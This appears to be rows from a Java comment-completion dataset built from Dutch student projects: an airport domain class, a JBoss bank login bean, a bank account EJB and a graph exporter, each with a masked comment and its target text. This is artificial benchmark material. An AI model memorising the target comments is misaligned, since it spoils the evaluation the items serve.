public Luchthaven (String nm, String cd, boolean wp, Land ln)
{
this.naam = nm;
this.code = cd;
this.werkPlaats = wp;
this.land = ln;
alleLuchthavens.add(this);
land.addLuchthaven(this);
}
/**
* Constructor voor het aanmaken van een Luchthaven. Wordt gebruikt om in
* de RegLuchthavenController. De diverse attributen worden met zet-methoden naderhand gevuld.
*/
public Luchthaven ()
{
}
// Setters
/**
* Deze methode zet de naam van het Luchthaven.
* @param nm de naam van de Luchthaven
* @throws java.lang.IllegalArgumentException als de naam al bestaat in dat land
* of als de naam geen geldige waarde heeft
*/
public void setNaam (String nm) throws IllegalArgumentException
{
if (land.getLuchthavens().get(nm.trim()) != null)
{
throw new IllegalArgumentException("Naam bestaat al!");
}
else if (nm.trim().length() == 0)
{
throw new IllegalArgumentException("Naam heeft geen geldige waarde!");
}
else
{
this.naam = nm.trim();
}
}
/**
* Deze methode zet de code (afkorting) van de Luchthaven.
* @param code de code (afkorting) van de Luchthaven
*/
public void setCode (String code)
{
this.code = code;
}
/**
* Deze methode zet het land waar de Luchthaven in ligt.
* Hiertoe moet ook een aanpassing gedaan worden in het land.
* Eerst moet de luchthaven namelijk uit het oude land verwijderd worden.
* Het toevoegen aan het nieuwe land (en het verwijderen uit het oude) hoeft
* alleen te gebeuren als de luchthaven al aan alleLuchthavens toegevoegd.
* Zo niet, dan deze luchthaven namelijk nog nooit bewaard.
* @param land het land waar de Luchthaven in ligt
*/
public void setLand (Land land)
{
if (alleLuchthavens.contains(this)) // Indien true het land al eens bewaard.
{
this.land.removeLuchthaven(this); // Eerst de luchthaven verwijderen uit het oude land.
}
this.land = land; // Vervolgens het land veranderen.
if (alleLuchthavens.contains(this)) // Indien true het land al eens bewaard.
{
this.land.addLuchthaven(this); // Tot slot de luchthaven toevoegen aan het nieuwe land.
}
}
/**
* Deze methode zet of de Luchthaven een werkplaats heeft of niet.
* @param wp true als de Luchthaven een werkplaats heeft en anders false
*/
public void setWerkPlaats (boolean wp)
{
werkPlaats = wp;
}
// Getters
/**
* Deze methode geeft de naam van de Luchthaven.
* @return de naam van de Luchthaven
*/
public String getNaam ()
{
return naam;
}
/**
* Deze methode geeft de code van de Luchthaven.
* @return de code (afkorting) van de Luchthaven
*/
public String getCode ()
{
return this.code;
}
/**
* Deze methode geeft true als er een werkplaats is en anders false.
* @return true als er een werkplaats is op de Luchthaven
*/
public boolean getWerkPlaats ()
{
return werkPlaats;
}
/**
* Deze methode geeft het Land waar de Luchthaven ligt.
* @return het Land waar de Luchthaven ligt
*/
public Land getLand ()
{
return land;
}
/**
* Deze statische methode geeft alle luchthavennamen en Luchthavens terug.
* @return een TreeMap van luchthavennamen en Luchthavens
*/
public static TreeMap<String, Luchthaven> getAlleLuchthavens ()
{
TreeMap<String, Luchthaven> alleLh = new TreeMap<String, Luchthaven>();
for (Iterator<Luchthaven> i = alleLuchthavens.iterator(); i.hasNext();)
{
Luchthaven lh = i.next();
alleLh.put(lh.naam, lh);
}
return alleLh;
}
// Overige Methodes
/**
* Deze methode bewaart deze Luchthaven door hem toe te voegen aan de Luchthavens van het land en alleLuchthavens.
* @throws domeinLaag.LuchthavenException als nog niet alle attributen een waarde hebben
*/
public void bewaar () throws LuchthavenException
{
if (land == null)
{
throw new LuchthavenException("Land niet ingevuld!");
}
else if (naam.isEmpty())
{
throw new LuchthavenException("Naam niet ingevuld!");
}
else if (code.isEmpty())
{
throw new LuchthavenException("Code niet ingevuld!");
}
else
{
alleLuchthavens.add(this);
land.addLuchthaven(this);
}
}
}
| mpkossen/1ooto1project | src/domeinLaag/Luchthaven.java | 2,024 | /**
* Constructor voor het aanmaken van een Luchthaven. Wordt gebruikt door Main om de boel even te vullen.
* Dit zodat er ook wat te testen valt.
* @param nm de naam van de luchthaven
* @param cd de code (afkorting) van de luchthaven
* @param wp true als de luchthaven een werkplaats heeft, anders false
* @param ln het land waar de luchthaven in ligt
*/ | block_comment | nl |
package domeinLaag;
// Imports
import java.util.HashSet;
import java.util.Iterator;
import java.util.TreeMap;
/**
* Een object van deze klasse representeert één luchthaven.
* Een Luchthaven heeft een naam en een code (afkorting).
* Eventueel heeft de luchthaven ook een werkplaats.
* Tot slot ligt de luchthaven in een land.
*/
public class Luchthaven
{
// Attributes
private String naam = ""; // De naam van de luchthaven.
private String code = ""; // De code (afkorting) van de luchthaven.
private boolean werkPlaats = false; // Of de luchthaven een werkplaats heeft of niet.
// Relaties
private Land land; // In welk land de luchthaven ligt.
private static HashSet<Luchthaven> alleLuchthavens = new HashSet<Luchthaven>(); // Een statische HashSet van alle luchthavens.
// Constructors
/**
* Constructor voor het<SUF>*/
public Luchthaven (String nm, String cd, boolean wp, Land ln)
{
this.naam = nm;
this.code = cd;
this.werkPlaats = wp;
this.land = ln;
alleLuchthavens.add(this);
land.addLuchthaven(this);
}
/**
* Constructor voor het aanmaken van een Luchthaven. Wordt gebruikt om in
* de RegLuchthavenController. De diverse attributen worden met zet-methoden naderhand gevuld.
*/
public Luchthaven ()
{
}
// Setters
/**
* Deze methode zet de naam van het Luchthaven.
* @param nm de naam van de Luchthaven
* @throws java.lang.IllegalArgumentException als de naam al bestaat in dat land
* of als de naam geen geldige waarde heeft
*/
public void setNaam (String nm) throws IllegalArgumentException
{
if (land.getLuchthavens().get(nm.trim()) != null)
{
throw new IllegalArgumentException("Naam bestaat al!");
}
else if (nm.trim().length() == 0)
{
throw new IllegalArgumentException("Naam heeft geen geldige waarde!");
}
else
{
this.naam = nm.trim();
}
}
/**
* Deze methode zet de code (afkorting) van de Luchthaven.
* @param code de code (afkorting) van de Luchthaven
*/
public void setCode (String code)
{
this.code = code;
}
/**
* Deze methode zet het land waar de Luchthaven in ligt.
* Hiertoe moet ook een aanpassing gedaan worden in het land.
* Eerst moet de luchthaven namelijk uit het oude land verwijderd worden.
* Het toevoegen aan het nieuwe land (en het verwijderen uit het oude) hoeft
* alleen te gebeuren als de luchthaven al aan alleLuchthavens toegevoegd.
* Zo niet, dan deze luchthaven namelijk nog nooit bewaard.
* @param land het land waar de Luchthaven in ligt
*/
public void setLand (Land land)
{
if (alleLuchthavens.contains(this)) // Indien true het land al eens bewaard.
{
this.land.removeLuchthaven(this); // Eerst de luchthaven verwijderen uit het oude land.
}
this.land = land; // Vervolgens het land veranderen.
if (alleLuchthavens.contains(this)) // Indien true het land al eens bewaard.
{
this.land.addLuchthaven(this); // Tot slot de luchthaven toevoegen aan het nieuwe land.
}
}
/**
* Deze methode zet of de Luchthaven een werkplaats heeft of niet.
* @param wp true als de Luchthaven een werkplaats heeft en anders false
*/
public void setWerkPlaats (boolean wp)
{
werkPlaats = wp;
}
// Getters
/**
* Deze methode geeft de naam van de Luchthaven.
* @return de naam van de Luchthaven
*/
public String getNaam ()
{
return naam;
}
/**
* Deze methode geeft de code van de Luchthaven.
* @return de code (afkorting) van de Luchthaven
*/
public String getCode ()
{
return this.code;
}
/**
* Deze methode geeft true als er een werkplaats is en anders false.
* @return true als er een werkplaats is op de Luchthaven
*/
public boolean getWerkPlaats ()
{
return werkPlaats;
}
/**
* Deze methode geeft het Land waar de Luchthaven ligt.
* @return het Land waar de Luchthaven ligt
*/
public Land getLand ()
{
return land;
}
/**
* Deze statische methode geeft alle luchthavennamen en Luchthavens terug.
* @return een TreeMap van luchthavennamen en Luchthavens
*/
public static TreeMap<String, Luchthaven> getAlleLuchthavens ()
{
TreeMap<String, Luchthaven> alleLh = new TreeMap<String, Luchthaven>();
for (Iterator<Luchthaven> i = alleLuchthavens.iterator(); i.hasNext();)
{
Luchthaven lh = i.next();
alleLh.put(lh.naam, lh);
}
return alleLh;
}
// Overige Methodes
/**
* Deze methode bewaart deze Luchthaven door hem toe te voegen aan de Luchthavens van het land en alleLuchthavens.
* @throws domeinLaag.LuchthavenException als nog niet alle attributen een waarde hebben
*/
public void bewaar () throws LuchthavenException
{
if (land == null)
{
throw new LuchthavenException("Land niet ingevuld!");
}
else if (naam.isEmpty())
{
throw new LuchthavenException("Naam niet ingevuld!");
}
else if (code.isEmpty())
{
throw new LuchthavenException("Code niet ingevuld!");
}
else
{
alleLuchthavens.add(this);
land.addLuchthaven(this);
}
}
}
|
197311_9 | package team2.abcbank.beans;
import javax.ejb.EJB;
import javax.faces.application.FacesMessage;
import javax.faces.context.ExternalContext;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.security.auth.login.LoginException;
import javax.servlet.http.HttpSession;
import org.jboss.security.SecurityAssociation;
import org.jboss.security.auth.callback.CallbackHandlerPolicyContextHandler;
import org.jboss.web.tomcat.security.login.WebAuthentication;
import team2.abcbank.ejb.shared.AccountManagerIF;
import team2.abcbank.ejb.shared.AccountOfficeIF;
import team2.abcbank.ejb.shared.BankException;
import team2.abcbank.ejb.shared.LoginBeanIF;
import team2.abcbank.jaas.MyCallbackHandler;
public class BankAccessBean extends EvenMoreCommonBean
{
private String username = null;
private String password = null;
private String captcha = null;
protected LoginBeanIF loginBean = null;
protected AccountManagerIF accountManager = null;
protected AccountOfficeIF accountOffice = null;
protected long accountNumber = -1;
public BankAccessBean()
{
try
{
Context ctx = new InitialContext();
loginBean = (LoginBeanIF) ctx.lookup("java:comp/env/LoginBeanRef");
accountManager = (AccountManagerIF) ctx.lookup("java:comp/env/AccountManagerRef");
accountOffice = (AccountOfficeIF) ctx.lookup("java:comp/env/AccountOfficeRef");
}
catch (NamingException e)
{
e.printStackTrace();
}
}
public String getBankStatus()
{
System.out.println("BankAccessBean.getBankStatus()");
String status = "database onbereikbaar";
try
{
status = loginBean.getBankIsOpen() ? "bank is open" : "bank is closed";
status += loginBean.getTransactionManagerIsIdle() ? " and idle" : " and busy";
}
catch (Throwable t)
{
t.printStackTrace();
}
return status;
}
public String logout()
{
System.out.println("BankAccessBean.logout()");
// zie jboss-web.xml : flushOnSessionInvalidation
// dat zorgt dat logout() op de loginmodules gecalled wordt
// en alle rechten weer netjes ingetrokken worden
if (false)
{
try
{
if (accountOffice.getPendingTransactions(accountNumber).length > 0)
{
addMessage(FacesMessage.SEVERITY_ERROR, "Kan niet uitloggen als er nog transacties open staan.");
return "transactionLeft";
}
}
catch (BankException e)
{
e.printStackTrace();
}
}
HttpSession session = (HttpSession) getExternalContext().getSession(false);
if (session != null)
{
session.invalidate();
}
return "logoutOutcome";
}
public String login()
{
System.out.println("BankAccessBean.login()");
ExternalContext ec = getExternalContext();
boolean error = false;
// alleen maar inloggen als de user nog niet ingelogd is
if (ec.getRemoteUser() == null)
{
try
{
// de callbackHandler die WebAuthentication opbouwt voor zijn username + credentials parameters
// delegeert onbekende callbacks naar deze callbackHandler
// zo kunnen we dus communiceren via de callbacks
// doc: http://docs.jboss.org/jbossas/javadoc/4.0.5/security/org/jboss/security/auth/callback/CallbackHandlerPolicyContextHandler.html
// doc: https://jira.jboss.org/jira/browse/JBAS-2345
CallbackHandlerPolicyContextHandler.setCallbackHandler(new MyCallbackHandler(this));
// doe de programmatic web logon:
// doc: http://jboss.org/community/docs/DOC-12656
// dit object doet zowel authentication als authorization
WebAuthentication wa = new WebAuthentication();
boolean success = wa.login(username, password);
if (!success)
{
error = true;
// gespecificeerd in:
// https://jira.jboss.org/jira/browse/SECURITY-278?focusedCommentId=12433231#action_12433231
Object o = SecurityAssociation.getContextInfo("org.jboss.security.exception");
if (o instanceof LoginException)
{
LoginException le = (LoginException) o;
addMessage(FacesMessage.SEVERITY_ERROR, "Login fout: " + le.getMessage());
}
else
{
addMessage(FacesMessage.SEVERITY_ERROR, "Systeem fout");
}
}
}
catch (Throwable t)
{
error = true;
addMessage(FacesMessage.SEVERITY_ERROR, "Systeem fout");
t.printStackTrace();
}
}
// mogelijke outcomes voor redirection
// zie JSF navigation rules in faces-config.xml
if (error)
return "loginError";
if (ec.isUserInRole("AccountManager"))
return "loggedInAsAccountManager";
if (ec.isUserInRole("AccountOffice"))
return "loggedInAsAccountOffice";
// kom hier uit als JBoss iets geks doet:
// de authenticatie is gelukt, maar de authorisatie is mislukt
addMessage(FacesMessage.SEVERITY_ERROR, "Systeem fout");
return "loginError";
}
public String getUsername()
{
return username;
}
public void setUsername(String username)
{
this.username = username;
}
public String getPassword()
{
return password;
}
public void setPassword(String password)
{
this.password = password;
}
public String getCaptcha()
{
return captcha;
}
public void setCaptcha(String captcha)
{
this.captcha = captcha;
}
/**
* for jaas mycallbackhandler
*/
public LoginBeanIF getLoginBean()
{
return loginBean;
}
public AccountManagerIF getAccountManager()
{
return accountManager;
}
public AccountOfficeIF getAccountOffice()
{
return accountOffice;
}
public long getAccountNumber()
{
return accountNumber;
}
public void setAccountNumber(long accountNumber)
{
this.accountNumber = accountNumber;
}
} | mpkossen/fantajava | GDSY_project7/src/team2/abcbank/beans/BankAccessBean.java | 1,885 | // mogelijke outcomes voor redirection
| line_comment | nl | package team2.abcbank.beans;
import javax.ejb.EJB;
import javax.faces.application.FacesMessage;
import javax.faces.context.ExternalContext;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.security.auth.login.LoginException;
import javax.servlet.http.HttpSession;
import org.jboss.security.SecurityAssociation;
import org.jboss.security.auth.callback.CallbackHandlerPolicyContextHandler;
import org.jboss.web.tomcat.security.login.WebAuthentication;
import team2.abcbank.ejb.shared.AccountManagerIF;
import team2.abcbank.ejb.shared.AccountOfficeIF;
import team2.abcbank.ejb.shared.BankException;
import team2.abcbank.ejb.shared.LoginBeanIF;
import team2.abcbank.jaas.MyCallbackHandler;
public class BankAccessBean extends EvenMoreCommonBean
{
private String username = null;
private String password = null;
private String captcha = null;
protected LoginBeanIF loginBean = null;
protected AccountManagerIF accountManager = null;
protected AccountOfficeIF accountOffice = null;
protected long accountNumber = -1;
public BankAccessBean()
{
try
{
Context ctx = new InitialContext();
loginBean = (LoginBeanIF) ctx.lookup("java:comp/env/LoginBeanRef");
accountManager = (AccountManagerIF) ctx.lookup("java:comp/env/AccountManagerRef");
accountOffice = (AccountOfficeIF) ctx.lookup("java:comp/env/AccountOfficeRef");
}
catch (NamingException e)
{
e.printStackTrace();
}
}
public String getBankStatus()
{
System.out.println("BankAccessBean.getBankStatus()");
String status = "database onbereikbaar";
try
{
status = loginBean.getBankIsOpen() ? "bank is open" : "bank is closed";
status += loginBean.getTransactionManagerIsIdle() ? " and idle" : " and busy";
}
catch (Throwable t)
{
t.printStackTrace();
}
return status;
}
public String logout()
{
System.out.println("BankAccessBean.logout()");
// zie jboss-web.xml : flushOnSessionInvalidation
// dat zorgt dat logout() op de loginmodules gecalled wordt
// en alle rechten weer netjes ingetrokken worden
if (false)
{
try
{
if (accountOffice.getPendingTransactions(accountNumber).length > 0)
{
addMessage(FacesMessage.SEVERITY_ERROR, "Kan niet uitloggen als er nog transacties open staan.");
return "transactionLeft";
}
}
catch (BankException e)
{
e.printStackTrace();
}
}
HttpSession session = (HttpSession) getExternalContext().getSession(false);
if (session != null)
{
session.invalidate();
}
return "logoutOutcome";
}
public String login()
{
System.out.println("BankAccessBean.login()");
ExternalContext ec = getExternalContext();
boolean error = false;
// alleen maar inloggen als de user nog niet ingelogd is
if (ec.getRemoteUser() == null)
{
try
{
// de callbackHandler die WebAuthentication opbouwt voor zijn username + credentials parameters
// delegeert onbekende callbacks naar deze callbackHandler
// zo kunnen we dus communiceren via de callbacks
// doc: http://docs.jboss.org/jbossas/javadoc/4.0.5/security/org/jboss/security/auth/callback/CallbackHandlerPolicyContextHandler.html
// doc: https://jira.jboss.org/jira/browse/JBAS-2345
CallbackHandlerPolicyContextHandler.setCallbackHandler(new MyCallbackHandler(this));
// doe de programmatic web logon:
// doc: http://jboss.org/community/docs/DOC-12656
// dit object doet zowel authentication als authorization
WebAuthentication wa = new WebAuthentication();
boolean success = wa.login(username, password);
if (!success)
{
error = true;
// gespecificeerd in:
// https://jira.jboss.org/jira/browse/SECURITY-278?focusedCommentId=12433231#action_12433231
Object o = SecurityAssociation.getContextInfo("org.jboss.security.exception");
if (o instanceof LoginException)
{
LoginException le = (LoginException) o;
addMessage(FacesMessage.SEVERITY_ERROR, "Login fout: " + le.getMessage());
}
else
{
addMessage(FacesMessage.SEVERITY_ERROR, "Systeem fout");
}
}
}
catch (Throwable t)
{
error = true;
addMessage(FacesMessage.SEVERITY_ERROR, "Systeem fout");
t.printStackTrace();
}
}
// mogelijke outcomes<SUF>
// zie JSF navigation rules in faces-config.xml
if (error)
return "loginError";
if (ec.isUserInRole("AccountManager"))
return "loggedInAsAccountManager";
if (ec.isUserInRole("AccountOffice"))
return "loggedInAsAccountOffice";
// kom hier uit als JBoss iets geks doet:
// de authenticatie is gelukt, maar de authorisatie is mislukt
addMessage(FacesMessage.SEVERITY_ERROR, "Systeem fout");
return "loginError";
}
public String getUsername()
{
return username;
}
public void setUsername(String username)
{
this.username = username;
}
public String getPassword()
{
return password;
}
public void setPassword(String password)
{
this.password = password;
}
public String getCaptcha()
{
return captcha;
}
public void setCaptcha(String captcha)
{
this.captcha = captcha;
}
/**
* for jaas mycallbackhandler
*/
public LoginBeanIF getLoginBean()
{
return loginBean;
}
public AccountManagerIF getAccountManager()
{
return accountManager;
}
public AccountOfficeIF getAccountOffice()
{
return accountOffice;
}
public long getAccountNumber()
{
return accountNumber;
}
public void setAccountNumber(long accountNumber)
{
this.accountNumber = accountNumber;
}
} |
32571_13 | // TODO: Methode setMessage werkt nog niet, dit moet nog gefixt worden.
package session;
import common.BankException;
import common.Database;
import entity.Account;
import entity.Status;
import entity.Transaction;
import message.TransactionManager;
import javax.ejb.Stateless;
import java.util.HashSet;
import javax.ejb.Remote;
import javax.persistence.EntityManager;
import javax.persistence.EntityTransaction;
import javax.persistence.PersistenceException;
import javax.persistence.RollbackException;
import remote.AccountOfficeIF;
/**
*
* @author mistermartin75
*/
@Stateless
@Remote
public class AccountOffice implements AccountOfficeIF {
public AccountOffice() {
// TODO: Make up a constuctor
}
/*
* This is a test method
* @author mistermartin75
*/
public void sayHello() {
System.out.println("Hello world!");
}
/*****************************************************************************
* Attributes
****************************************************************************/
private boolean closed = false;
private Account account = null;
private HashSet<Transaction> transactions = new HashSet<Transaction>(101);
private double actualBalance = 0D;
private EntityManager entityManager = Database.getEntityManager("AccountOffice");
/*****************************************************************************
* Construction
****************************************************************************/
public AccountOffice(String newNumber, String newPincode, String newSalt) throws BankException {
//System.out.println("AccountOffice(" + newNumber + "," + newPincode + "," + newSalt + ")");
synchronized (entityManager) {
EntityTransaction tx = entityManager.getTransaction();
try {
if (tx.isActive()) {
throw new BankException("Transaction is active.");
}
tx.begin();
Status status = entityManager.find(Status.class, "0");
int stat = Integer.parseInt(status.getBank());
if ((stat & Status.CLOSED) == Status.CLOSED) {
throw new BankException("Bank is closed.");
}
account = entityManager.find(Account.class, newNumber);
if (account == null) {
throw new BankException("no account");
}
int lock = account.getLock();
if (lock != 0) {
throw new BankException("Account lock(" + lock + ")");
}
String dws = account.getPincode();
if (!newPincode.equals(dws)) {
throw new BankException("Invalid password: " + account.getName());
}
account.setSalt(newSalt);
actualBalance = account.getBalance();
} finally {
if (!tx.getRollbackOnly()) {
try {
tx.commit();
} catch (RollbackException re) {
try {
tx.rollback();
} catch (PersistenceException pe) {
throw new BankException("commit: " + pe.getMessage());
}
}
} else {
try {
tx.rollback();
} catch (PersistenceException pe) {
throw new BankException("rollback: " + pe.getMessage());
}
}
}
}
}
/*****************************************************************************
* customer - getDetails()
****************************************************************************/
public String[] getDetails() {
//System.out.println("AccountOffice.getDetails()");
if (closed) {
return null;
}
return account.details();
}
/*****************************************************************************
* customer - getPendingTransactions()
****************************************************************************/
public String[][] getPendingTransacties() {
//System.out.println("AccountOffice.getPendingTransacties()");
if (closed) {
return null;
}
String[][] ret = new String[transactions.size()][];
int i = 0;
for (Transaction transaction : transactions) {
ret[i++] = new String[]{
transaction.getId(), transaction.getFrom(), transaction.getTo(), "" + transaction.getAmount(), transaction.getTransactionTime(), transaction.getTransferTime()
};
}
return ret;
}
/**
* Myprincipal holds the myAccount and is doing a transfer MyPrincipal is
* creating a Transaction entity
*
* transfer(null, 100.0) - this is a deposit - money comes from 100000 -
* Transaction(100000, myAccount, 100.0)
*
* transfer(null, -100.0) - this is a withdrawal - money goes to 100000 -
* Transaction(myAccount, 100000, 100.0)
*
* transfer(toAccount, 100.0) - this is a transfer to another account - money
* goes from myAccount to 100002 - Transaction(myAccount, toAccount, 100.0)
*/
/*****************************************************************************
* customer - transfer()
****************************************************************************/
public String transfer(String number, double amount) throws BankException {
//System.out.println(account.getNumber() + " AccountOffice.transfer(" + number + ", " + amount + ")");
boolean ret = false;
if (closed) {
return "";
}
String t0 = "" + System.currentTimeMillis();
if (number == null) {
if (amount > 0D) {
// System.out.println("storting: "+amount);
ret = transactions.add(new Transaction(null, "100000", account.getNumber(), amount, t0, "0"));
actualBalance += amount;
} else {
// System.out.println("opname: "+amount);
if ((-amount > actualBalance + account.getLimit())) {
throw new BankException("invalid amount");
}
ret = transactions.add(new Transaction(null, account.getNumber(), "100000", -amount, t0, "0"));
actualBalance += amount;
}
} else {
// System.out.println("overboeking: "+number+", "+amount);
if (account.getNumber().equals(number)) {
throw new BankException("to account = from account");
}
if (amount <= 0D) {
throw new BankException("invalid amount: " + amount);
}
if (amount > actualBalance + account.getLimit()) {
throw new BankException("balance + limit < amount: " + amount);
}
ret = transactions.add(new Transaction(null, account.getNumber(), number, amount, t0, "0"));
actualBalance -= amount;
}
return ret ? "oke" : "not oke";
}
/**
* Synchroniseer de rekening met de database. Alle pending transactions van
* dit moment worden gestuurd naar de TransactionManager. De
* TransactionManager voltooid de overboekingen en update de rekeningen in de
* database. Deze bankactie wordt in de achtergrond uitgevooerd en kan enige
* tijd duren. sync() zal daarop niet wachten.
*/
/*****************************************************************************
* sync()
****************************************************************************/
public void sync() {
//System.out.println("AccountOffice.sync()");
if (closed) {
return;
}
if (transactions.size() > 0) {
synchronized (entityManager) {
EntityTransaction tx = entityManager.getTransaction();
try {
if (tx.isActive()) {
System.err.println("Transaction is active.");
}
tx.begin();
Account a = entityManager.find(Account.class, account.getNumber());
a.setLock(a.getLock() + 1);
} finally {
if (!tx.getRollbackOnly()) {
try {
tx.commit();
TransactionManager tm = TransactionManager.getTransactionManager();
tm.add(transactions);
transactions = new HashSet<Transaction>();
} catch (RollbackException re) {
try {
tx.rollback();
} catch (PersistenceException pe) {
System.err.println("commit: " + pe.getMessage());
}
}
} else {
try {
tx.rollback();
} catch (PersistenceException pe) {
System.err.println("rollback: " + pe.getMessage());
}
}
}
}
}
}
/*****************************************************************************
* close()
****************************************************************************/
public void close() {
//System.out.println("AccountOffice.close()");
closed = true;
}
/*****************************************************************************
* finalize(), toString()
****************************************************************************/
@Override
protected void finalize() throws Throwable {
//System.out.println("AccountOffice[" + account.getNumber() + "].finalize()");
close();
}
@Override
public String toString() {
return account.getName();
}
} | mpkossen/fantajava3 | fantajava3-EJB/src/java/session/AccountOffice.java | 2,424 | /**
* Synchroniseer de rekening met de database. Alle pending transactions van
* dit moment worden gestuurd naar de TransactionManager. De
* TransactionManager voltooid de overboekingen en update de rekeningen in de
* database. Deze bankactie wordt in de achtergrond uitgevooerd en kan enige
* tijd duren. sync() zal daarop niet wachten.
*/ | block_comment | nl | // TODO: Methode setMessage werkt nog niet, dit moet nog gefixt worden.
package session;
import common.BankException;
import common.Database;
import entity.Account;
import entity.Status;
import entity.Transaction;
import message.TransactionManager;
import javax.ejb.Stateless;
import java.util.HashSet;
import javax.ejb.Remote;
import javax.persistence.EntityManager;
import javax.persistence.EntityTransaction;
import javax.persistence.PersistenceException;
import javax.persistence.RollbackException;
import remote.AccountOfficeIF;
/**
*
* @author mistermartin75
*/
@Stateless
@Remote
public class AccountOffice implements AccountOfficeIF {
public AccountOffice() {
// TODO: Make up a constuctor
}
/*
* This is a test method
* @author mistermartin75
*/
public void sayHello() {
System.out.println("Hello world!");
}
/*****************************************************************************
* Attributes
****************************************************************************/
private boolean closed = false;
private Account account = null;
private HashSet<Transaction> transactions = new HashSet<Transaction>(101);
private double actualBalance = 0D;
private EntityManager entityManager = Database.getEntityManager("AccountOffice");
/*****************************************************************************
* Construction
****************************************************************************/
public AccountOffice(String newNumber, String newPincode, String newSalt) throws BankException {
//System.out.println("AccountOffice(" + newNumber + "," + newPincode + "," + newSalt + ")");
synchronized (entityManager) {
EntityTransaction tx = entityManager.getTransaction();
try {
if (tx.isActive()) {
throw new BankException("Transaction is active.");
}
tx.begin();
Status status = entityManager.find(Status.class, "0");
int stat = Integer.parseInt(status.getBank());
if ((stat & Status.CLOSED) == Status.CLOSED) {
throw new BankException("Bank is closed.");
}
account = entityManager.find(Account.class, newNumber);
if (account == null) {
throw new BankException("no account");
}
int lock = account.getLock();
if (lock != 0) {
throw new BankException("Account lock(" + lock + ")");
}
String dws = account.getPincode();
if (!newPincode.equals(dws)) {
throw new BankException("Invalid password: " + account.getName());
}
account.setSalt(newSalt);
actualBalance = account.getBalance();
} finally {
if (!tx.getRollbackOnly()) {
try {
tx.commit();
} catch (RollbackException re) {
try {
tx.rollback();
} catch (PersistenceException pe) {
throw new BankException("commit: " + pe.getMessage());
}
}
} else {
try {
tx.rollback();
} catch (PersistenceException pe) {
throw new BankException("rollback: " + pe.getMessage());
}
}
}
}
}
/*****************************************************************************
* customer - getDetails()
****************************************************************************/
public String[] getDetails() {
//System.out.println("AccountOffice.getDetails()");
if (closed) {
return null;
}
return account.details();
}
/*****************************************************************************
* customer - getPendingTransactions()
****************************************************************************/
public String[][] getPendingTransacties() {
//System.out.println("AccountOffice.getPendingTransacties()");
if (closed) {
return null;
}
String[][] ret = new String[transactions.size()][];
int i = 0;
for (Transaction transaction : transactions) {
ret[i++] = new String[]{
transaction.getId(), transaction.getFrom(), transaction.getTo(), "" + transaction.getAmount(), transaction.getTransactionTime(), transaction.getTransferTime()
};
}
return ret;
}
/**
* Myprincipal holds the myAccount and is doing a transfer MyPrincipal is
* creating a Transaction entity
*
* transfer(null, 100.0) - this is a deposit - money comes from 100000 -
* Transaction(100000, myAccount, 100.0)
*
* transfer(null, -100.0) - this is a withdrawal - money goes to 100000 -
* Transaction(myAccount, 100000, 100.0)
*
* transfer(toAccount, 100.0) - this is a transfer to another account - money
* goes from myAccount to 100002 - Transaction(myAccount, toAccount, 100.0)
*/
/*****************************************************************************
* customer - transfer()
****************************************************************************/
public String transfer(String number, double amount) throws BankException {
//System.out.println(account.getNumber() + " AccountOffice.transfer(" + number + ", " + amount + ")");
boolean ret = false;
if (closed) {
return "";
}
String t0 = "" + System.currentTimeMillis();
if (number == null) {
if (amount > 0D) {
// System.out.println("storting: "+amount);
ret = transactions.add(new Transaction(null, "100000", account.getNumber(), amount, t0, "0"));
actualBalance += amount;
} else {
// System.out.println("opname: "+amount);
if ((-amount > actualBalance + account.getLimit())) {
throw new BankException("invalid amount");
}
ret = transactions.add(new Transaction(null, account.getNumber(), "100000", -amount, t0, "0"));
actualBalance += amount;
}
} else {
// System.out.println("overboeking: "+number+", "+amount);
if (account.getNumber().equals(number)) {
throw new BankException("to account = from account");
}
if (amount <= 0D) {
throw new BankException("invalid amount: " + amount);
}
if (amount > actualBalance + account.getLimit()) {
throw new BankException("balance + limit < amount: " + amount);
}
ret = transactions.add(new Transaction(null, account.getNumber(), number, amount, t0, "0"));
actualBalance -= amount;
}
return ret ? "oke" : "not oke";
}
/**
* Synchroniseer de rekening<SUF>*/
/*****************************************************************************
* sync()
****************************************************************************/
public void sync() {
//System.out.println("AccountOffice.sync()");
if (closed) {
return;
}
if (transactions.size() > 0) {
synchronized (entityManager) {
EntityTransaction tx = entityManager.getTransaction();
try {
if (tx.isActive()) {
System.err.println("Transaction is active.");
}
tx.begin();
Account a = entityManager.find(Account.class, account.getNumber());
a.setLock(a.getLock() + 1);
} finally {
if (!tx.getRollbackOnly()) {
try {
tx.commit();
TransactionManager tm = TransactionManager.getTransactionManager();
tm.add(transactions);
transactions = new HashSet<Transaction>();
} catch (RollbackException re) {
try {
tx.rollback();
} catch (PersistenceException pe) {
System.err.println("commit: " + pe.getMessage());
}
}
} else {
try {
tx.rollback();
} catch (PersistenceException pe) {
System.err.println("rollback: " + pe.getMessage());
}
}
}
}
}
}
/*****************************************************************************
* close()
****************************************************************************/
public void close() {
//System.out.println("AccountOffice.close()");
closed = true;
}
/*****************************************************************************
* finalize(), toString()
****************************************************************************/
@Override
protected void finalize() throws Throwable {
//System.out.println("AccountOffice[" + account.getNumber() + "].finalize()");
close();
}
@Override
public String toString() {
return account.getName();
}
} |
44094_17 | package uni.sasjonge.utils;
import java.io.FileWriter;
import java.io.IOException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import java.util.Set;
import java.util.stream.Collectors;
import org.jgrapht.Graph;
import org.jgrapht.alg.connectivity.ConnectivityInspector;
import org.jgrapht.graph.DefaultDirectedGraph;
import org.jgrapht.graph.DefaultEdge;
import org.jgrapht.io.ComponentNameProvider;
import org.jgrapht.io.ExportException;
import org.jgrapht.io.GraphMLExporter;
import org.semanticweb.owlapi.model.OWLAxiom;
import org.semanticweb.owlapi.model.OWLOntology;
import org.semanticweb.owlapi.model.OWLOntologyCreationException;
import uni.sasjonge.Settings;
/**
* Utility class for different graph exporting methods
*
* @author Sascha Jongebloed
*
*/
public class GraphExporter {
static OntologyHierarchy ontHierachy;
static OntologyDescriptor ontDescriptor;
static Map<String, Integer> vertexToAxiomsCount = null;
/**
* Exports g in graphML to outputPath Every node and edge is shown as is in the
* graph
*
* @param g The graph to export
* @param outputPath Parth to output to
* @throws ExportException
*/
public static void exportComplexGraph(Graph<String, DefaultEdge> g, String outputPath) throws ExportException {
GraphMLExporter<String, DefaultEdge> exporter = new GraphMLExporter<>();
